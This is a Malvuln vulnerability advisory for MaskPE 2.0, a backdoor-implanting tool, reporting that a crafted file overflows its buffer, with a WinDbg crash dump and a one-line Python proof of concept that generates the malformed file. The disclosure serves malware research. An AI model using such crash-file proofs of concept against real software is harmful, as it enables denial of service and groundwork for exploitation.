MaskPE by yzkzero is a tool for implanting backdoors in existing PE files. The backdoor tool does not properly check the files it loads and falls victim to a file based local buffer overflow.
0c9d7516bb5236825540d15407ea5e4cDiscovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/25e0570cc803cd77abc2268b41237937.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Nucleroot.bi - MaskPE 2.0
Vulnerability: File Based Buffer Overflow
Description: MaskPE by yzkzero is a tool for implanting backdoors in existing PE files. The Backdoor tool doesnt properly check the files it loads and falls victim to a file based local buffer overflow.
Type: PE32
MD5: 25e0570cc803cd77abc2268b41237937
Network Access: Local
Vuln ID: MVID-2021-0027
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/15/2021
Memory Dump:
The stored exception information can be accessed via .ecxr.
(918.3fc): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=41414101 esi=00000003 edi=00000003
eip=773ced3c esp=0019e780 ebp=0019e910 iopl=0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200212
ntdll!ZwWaitForMultipleObjects+0xc:
773ced3c c21400 ret 14h
0:000> .ecxr
eax=456a4141 ebx=764db900 ecx=41414141 edx=41414101 esi=0019fbc0 edi=0019fbc0
eip=0040a0a3 esp=0019f0a0 ebp=024a1780 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206
*** WARNING: Unable to verify checksum for Backdoor.Win32.Nucleroot.bi.25e0570cc803cd77abc2268b41237937.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Nucleroot.bi.25e0570cc803cd77abc2268b41237937.exe
Backdoor_Win32_Nucleroot_bi_25e0570cc803cd77abc2268b41237937+0xa0a3:
0040a0a3 813850450000 cmp dword ptr [eax],4550h ds:002b:456a4141=????????
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
FAULTING_IP:
Backdoor_Win32_Nucleroot_bi_25e0570cc803cd77abc2268b41237937+a0a3
0040a0a3 813850450000 cmp dword ptr [eax],4550h
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 0040a0a3 (Backdoor_Win32_Nucleroot_bi_25e0570cc803cd77abc2268b41237937+0x0000a0a3)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 456a4141
Attempt to read from address 456a4141
PROCESS_NAME: Backdoor.Win32.Nucleroot.bi.25e0570cc803cd77abc2268b41237937.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000000
EXCEPTION_PARAMETER2: 456a4141
READ_ADDRESS: 456a4141
FOLLOWUP_IP:
Backdoor_Win32_Nucleroot_bi_25e0570cc803cd77abc2268b41237937+a0a3
0040a0a3 813850450000 cmp dword ptr [eax],4550h
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
FAULTING_THREAD: 000003fc
BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141
PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_FILL_PATTERN_41414141
DEFAULT_BUCKET_ID: STRING_DEREFERENCE_FILL_PATTERN_41414141
LAST_CONTROL_TRANSFER: from 00404ea6 to 0040a0a3
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
0019f0a0 00404ea6 00000001 0019fb4c 0019f410 Backdoor_Win32_Nucleroot_bi_25e0570cc803cd77abc2268b41237937+0xa0a3
0019fb4c 00000000 00000000 00000000 00000000 Backdoor_Win32_Nucleroot_bi_25e0570cc803cd77abc2268b41237937+0x4ea6
STACK_COMMAND: ~0s; .ecxr ; kb
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: Backdoor_Win32_Nucleroot_bi_25e0570cc803cd77abc2268b41237937+a0a3
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: Backdoor_Win32_Nucleroot_bi_25e0570cc803cd77abc2268b41237937
IMAGE_NAME: Backdoor.Win32.Nucleroot.bi.25e0570cc803cd77abc2268b41237937.exe
DEBUG_FLR_IMAGE_TIMESTAMP: 44672333
FAILURE_BUCKET_ID: STRING_DEREFERENCE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.Nucleroot.bi.25e0570cc803cd77abc2268b41237937.exe!Unknown
BUCKET_ID: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141_Backdoor_Win32_Nucleroot_bi_25e0570cc803cd77abc2268b41237937+a0a3
Followup: MachineOwner
Exploit/PoC:
python -c "print( 'MZ'+'A'*20000)" > doom.exe
Load it into MaskPE and BOOM!
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